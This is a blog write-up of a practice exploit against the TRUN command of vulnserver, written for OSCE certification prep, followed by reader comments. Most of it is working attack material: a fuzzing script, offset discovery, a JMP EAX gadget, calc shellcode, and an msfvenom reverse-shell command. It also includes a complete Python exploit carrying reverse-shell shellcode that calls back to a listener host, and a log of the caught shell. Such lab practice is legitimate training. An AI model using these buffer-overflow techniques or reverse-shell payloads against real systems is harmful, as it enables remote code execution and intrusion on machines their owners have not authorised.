Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
For my vulnserver TRUN exploit, I decided to use a three byte overwrite to jump to EAX.
As I mentioned in my earlier post, I am going through vulnserver for OSCE/binary exploitation practice.
Note that most write-ups for this command will perform a vanilla EIP overwrite and JMP ESP. That said, I wanted to try something different for my first attempt, to challenge myself.
Note: I apologize for the IP address switching mid post, but I changed my network setup.
With that in mind, I fired up Immunity and got to work!
First, I fuzzed the application to find the initial vulnerability.
I used the following Boofuzz template to fuzz the “TRUN” command.
from boofuzz import * host = "192.168.1.35" port = 9999 def main(): session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp'))) s_initialize("Request") s_string("TRUN", fuzzable = False) s_delim(" ", fuzzable = False, name = 'space-1') s_string("fuzzme") session.connect(s_get("Request")) session.fuzz() if __name__ == "__main__": main()
The application crashed right away, with only my second request.
root@kali:~/vulnserver# python trun_fuzz.py [2018-12-30 01:51:00,108] Test Case: 1: Request.no-name.1 [2018-12-30 01:51:00,111] Info: Type: String. Default value: 'fuzzme'. Case 1 of 1441 overall. [2018-12-30 01:51:00,113] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,115] Info: Connection opened. [2018-12-30 01:51:00,117] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,122] Transmitting 5 bytes: 54 52 55 4e 20 'TRUN ' [2018-12-30 01:51:00,124] Info: 5 bytes sent [2018-12-30 01:51:00,126] Info: Closing target connection... [2018-12-30 01:51:00,129] Info: Connection closed. [2018-12-30 01:51:00,130] Test Step: Sleep between tests. [2018-12-30 01:51:00,132] Info: sleeping for 0.000000 seconds [2018-12-30 01:51:00,135] Test Case: 2: Request.no-name.2 [2018-12-30 01:51:00,146] Info: Type: String. Default value: 'fuzzme'. Case 2 of 1441 overall. [2018-12-30 01:51:00,148] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,150] Info: Connection opened. [2018-12-30 01:51:00,152] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,155] Transmitting 5011 bytes: 54 52 55 4e 20 2f 2e 3a 2f 41 41 ...<snip>... 41 41 00 00 'TRUN /.:/AA ...<snip>... AA\x00\x00' [2018-12-30 01:51:00,168] Info: 5011 bytes sent [2018-12-30 01:51:00,170] Info: Closing target connection... [2018-12-30 01:51:00,172] Info: Connection closed. [2018-12-30 01:51:00,176] Test Step: Sleep between tests. [2018-12-30 01:51:00,178] Info: sleeping for 0.000000 seconds [2018-12-30 01:51:00,180] Test Case: 3: Request.no-name.3 [2018-12-30 01:51:00,182] Info: Type: String. Default value: 'fuzzme'. Case 3 of 1441 overall. [2018-12-30 01:51:00,184] Info: Opening target connection (192.168.1.35:9999)... [2018-12-30 01:51:00,186] Info: Connection opened. [2018-12-30 01:51:00,188] Test Step: Fuzzing Node 'Request' [2018-12-30 01:51:00,193] Transmitting 5012 bytes: 54 52 55 4e 20 2f 2e 2e 2e 2f 42 42 ...<snip>... 42 42 00 00 'TRUN /.../BB ...<snip>... BB\x00\x00' [2018-12-30 01:51:00,207] Info: 5012 bytes sent [2018-12-30 01:51:00,209] Info: Closing target connection... [2018-12-30 01:51:00,211] Info: Connection closed. [2018-12-30 01:51:00,213] Test Step: Sleep between tests. [2018-12-30 01:51:00,215] Info: sleeping for 0.000000 seconds
As you can see, EIP was overwritten with the “B”s from request #2.
When I opened the Boofuzz database, I was able to see the exact request that I sent to the server.
With an EIP overwrite discovered, I wrote my exploit template.
#!/usr/bin/python import socket import os import sys host = "192.168.1.35" port = 9999 buffer = "A" * 5000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../ " + buffer) print s.recv(1024) s.close()
I sent the template request to the server, to verify that it would crash.
root@kali:~/vulnserver# python trun_exploit.py Welcome to Vulnerable Server! Enter HELP for help. [+] Sending exploit... ^CTraceback (most recent call last): File "trun_exploit.py", line 22, inprint s.recv(1024) KeyboardInterrupt
As expected, EIP was overwritten with the “A”s that I sent.
Next, I used pattern_create to find the EIP overwrite offset.
root@kali:~/vulnserver# msf-pattern_create -l 5000
When I resent the payload, EIP was overwritten with a new value (0x6f43376f)
Using pattern_offset, I was able to determine that EIP was overwritten after 2002 bytes.
root@kali:~/vulnserver# msf-pattern_offset -l 5000 -q 6f43376f [*] Exact match at offset 2002
Finally, to verify this offset, I updated my original exploit script.
buffer = "A" * 2002 buffer += "BBBB" buffer += "C" * (5000 - len(buffer))
As expected, EIP was overwritten with 0x42424242.
At this point, EIP, EAX, and ESP were attacker controlled.
With the vulnerability discovered, I needed to check for any potential bad characters.
First, I updated the buffer in my payload.
for i in range(1, 256): buffer += chr(i)
As you can see from this sample, the only bad character for this attack vector was 0x00, so I wouldn’t need to worry about encoding.
First, I verified that I could control EIP with a three byte overwrite.
buffer = "A" * 2002 buffer += "BBB"
As expected, EIP was overwritten with my three “B”s, and the terminating null byte (0x00424242)
EAX contains the entirety of the sent command, including the “TRUN /…/” portion.
That said, none of the instructions from the initial command are damaging, so I was good to continue.
(TRUN /…/)
0: 00 54 52 55 add BYTE PTR [edx+edx*2+0x55],dl 4: 4e dec esi 5: 20 2f and BYTE PTR [edi],ch 7: 2e 2e 2e 2f cs cs cs das
I used the modules command in mona to see what modules had ASLR disabled and were not being rebased.
In this case, I used mona to find a jump to EAX within the vulnserver.exe binary. Due to the successful three byte overwrite, the null byte in the address space would not be an issue.
!mona find -s "\xff\xe0" -m vulnserver.exe
Once I found my jump, I updated my payload with the selected memory address.
buffer = "\xCC" * 2002 # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40"
When I sent my updated exploit, I hit the breakpoint on the JMP EAX instruction.
This successfully jumped to my payload, so I was in business!
After jumping to EAX, I received an error with one of the instructions from my “TRUN” command. The system interpreted “\x20\x2f” (space followed by forward slash) as an AND [EDI], CH. That said, EDI was now zeros, so this memory could not be accessed.
I figured that I could solve this by modifying the character immediately after the space.
In this case, I added a second space, so that the instruction would be \x20\x20 instead of \x20\x2e. This would AND [EAX] against AH, which wouldn’t be a problem.
After modifying my script, my exploit ran successfully all the way to my interrupts.
With everything working, I added a calc shellcode to my exploit, to weaponize it.
#!/usr/bin/python import socket import os import sys host = "192.168.0.2" port = 9999 # calc buf = "" buf += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" buf += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" buf += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" buf += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" buf += "\x57\x78\x01\xc2\x8b\x7a\x20\x01" buf += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" buf += "\x45\x81\x3e\x43\x72\x65\x61\x75" buf += "\xf2\x81\x7e\x08\x6f\x63\x65\x73" buf += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" buf += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" buf += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" buf += "\xb1\xff\x53\xe2\xfd\x68\x63\x61" buf += "\x6c\x63\x89\xe2\x52\x52\x53\x53" buf += "\x53\x53\x53\x53\x52\x53\xff\xd7" buffer = ("\x90" * 16) + buf buffer += "\xcc" * (2001 - len(buffer)) # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../" + buffer) print s.recv(1024) s.close()
When I sent my new exploit, the application crashed, and my calculator opened!
With everything in place, I generated my reverse shellcode.
root@kali:~/vulnserver/trun# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f py -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of py file: 1684 bytes
With the exploit updated, I sent the new request to the server. Unfortunately, I was getting some strange access violations, and null bytes that I was not sending.
With plenty of help from Rebecca (@ranger_cha), we discovered that this was an issue with the stack.
As you can see from my (very scientific) debugging attempts, ESP and EIP are dangerously close to each other.
As it turns out, the stack ended up overwriting some of my instructions, causing larger payloads to corrupt.
In this case, I moved the stack just over 256 bytes away, to prevent this corruption.
With the stack pivot in place, I updated my final payload and sent it over.
root@kali:~/vulnserver/trun# python trun_three-bite_reverse.py Welcome to Vulnerable Server! Enter HELP for help. [+] Sending exploit... ^CTraceback (most recent call last): File "trun_three-bite_reverse.py", line 57, inprint s.recv(1024) KeyboardInterrupt
Everything worked, and I received my reverse shell!
root@kali:~/vulnserver# nc -lvp 4444 listening on [any] 4444 ... 192.168.0.2: inverse host lookup failed: Unknown host connect to [192.168.0.1] from (UNKNOWN) [192.168.0.2] 49159 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\IEUser\Downloads\vulnserver-master>whoami whoami ie8win7\ieuser
Here is the final exploit that I used for my reverse shell.
#!/usr/bin/python import socket import os import sys host = "192.168.0.2" port = 9999 buf = "" buf += "\xbe\x97\x7c\x63\x8e\xdb\xc8\xd9\x74\x24\xf4\x5f\x2b" buf += "\xc9\xb1\x52\x31\x77\x12\x83\xef\xfc\x03\xe0\x72\x81" buf += "\x7b\xf2\x63\xc7\x84\x0a\x74\xa8\x0d\xef\x45\xe8\x6a" buf += "\x64\xf5\xd8\xf9\x28\xfa\x93\xac\xd8\x89\xd6\x78\xef" buf += "\x3a\x5c\x5f\xde\xbb\xcd\xa3\x41\x38\x0c\xf0\xa1\x01" buf += "\xdf\x05\xa0\x46\x02\xe7\xf0\x1f\x48\x5a\xe4\x14\x04" buf += "\x67\x8f\x67\x88\xef\x6c\x3f\xab\xde\x23\x4b\xf2\xc0" buf += "\xc2\x98\x8e\x48\xdc\xfd\xab\x03\x57\x35\x47\x92\xb1" buf += "\x07\xa8\x39\xfc\xa7\x5b\x43\x39\x0f\x84\x36\x33\x73" buf += "\x39\x41\x80\x09\xe5\xc4\x12\xa9\x6e\x7e\xfe\x4b\xa2" buf += "\x19\x75\x47\x0f\x6d\xd1\x44\x8e\xa2\x6a\x70\x1b\x45" buf += "\xbc\xf0\x5f\x62\x18\x58\x3b\x0b\x39\x04\xea\x34\x59" buf += "\xe7\x53\x91\x12\x0a\x87\xa8\x79\x43\x64\x81\x81\x93" buf += "\xe2\x92\xf2\xa1\xad\x08\x9c\x89\x26\x97\x5b\xed\x1c" buf += "\x6f\xf3\x10\x9f\x90\xda\xd6\xcb\xc0\x74\xfe\x73\x8b" buf += "\x84\xff\xa1\x1c\xd4\xaf\x19\xdd\x84\x0f\xca\xb5\xce" buf += "\x9f\x35\xa5\xf1\x75\x5e\x4c\x08\x1e\xa1\x39\x12\xdf" buf += "\x49\x38\x12\xce\xd5\xb5\xf4\x9a\xf5\x93\xaf\x32\x6f" buf += "\xbe\x3b\xa2\x70\x14\x46\xe4\xfb\x9b\xb7\xab\x0b\xd1" buf += "\xab\x5c\xfc\xac\x91\xcb\x03\x1b\xbd\x90\x96\xc0\x3d" buf += "\xde\x8a\x5e\x6a\xb7\x7d\x97\xfe\x25\x27\x01\x1c\xb4" buf += "\xb1\x6a\xa4\x63\x02\x74\x25\xe1\x3e\x52\x35\x3f\xbe" buf += "\xde\x61\xef\xe9\x88\xdf\x49\x40\x7b\x89\x03\x3f\xd5" buf += "\x5d\xd5\x73\xe6\x1b\xda\x59\x90\xc3\x6b\x34\xe5\xfc" buf += "\x44\xd0\xe1\x85\xb8\x40\x0d\x5c\x79\x70\x44\xfc\x28" buf += "\x19\x01\x95\x68\x44\xb2\x40\xae\x71\x31\x60\x4f\x86" buf += "\x29\x01\x4a\xc2\xed\xfa\x26\x5b\x98\xfc\x95\x5c\x89" buffer = ("\x90" * 16) # MOV ESP, EAX; SUB SP 0x104 buffer += "\x89\xc4\x66\x81\xec\x04\x01" buffer += buf buffer += "\x90" * (2001 - len(buffer)) # 0x0040100c = JMP EAX buffer += "\x0c\x10\x40" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print s.recv(1024) print "[+] Sending exploit..." s.send("TRUN /.../" + buffer) print s.recv(1024) s.close()
While this was difficult, it was good practice for any potential curve balls the OSCE may throw at me.
I’ll probably finish up and post the vanilla EIP overwrite for the TRUN command next, just for completeness.
You can find the final exploit in my GitHub repository, but let me know if you think there is anything that I should add.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
[…] by /u/doylersec [link] […]
Nice write up and interesting solution! Enjoyed this as I am doing the same for osce prep.
Just wondering why you are sending “TRUN /…/” as your command in the exploit? To my knowledge, this isn’t required by the application to run the TRUN command successfully, and would avoid the access violation you were mentioning […After jumping to EAX, I received an error with one of the instructions from my “TRUN” command. The system interpreted “\x20\x2f” (space followed by forward slash) as an AND [EDI], CH…]. Unless I am missing something?
Looking at the code for vulnserver, when the applications sees the string “TRUN ” it checks if the 5th character is a “.”
So to run the TRUN command, you only need to send “TRUN .” (space followed by dot) + large buffer.
# s.send(“TRUN .” + buffer)
Code for TRUN command:
else if (strncmp(RecvBuf, “TRUN “, 5) == 0) {
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i = 5; i < RecvBufLen; i++) {
if ((char)RecvBuf[i] == '.') {
strncpy(TrunBuf, RecvBuf, 3000);
Function3(TrunBuf);
break;
}
}
Thanks again for the interesting read and good luck with your exam!
Regards,
phish
Hi, and thanks for the response! Yup, I think vulnserver is great for OSCE prep, and this was definitely a fun solution.
I sent that full command because it’s similar to what my fuzzing discovered. I was working on these from a black-box approach, and ended up not minimizing my payload since I didn’t have to.
Yup, you will get that access violation with \x20\x2f. In that case, you can do what I did, and change it to TWO spaces after TRUN, for \x20\x20.
I didn’t want to look at the code for any of these solutions though, which is why I kept the /…/.
Thanks, I managed to pass it just over a week ago! When do you take yours?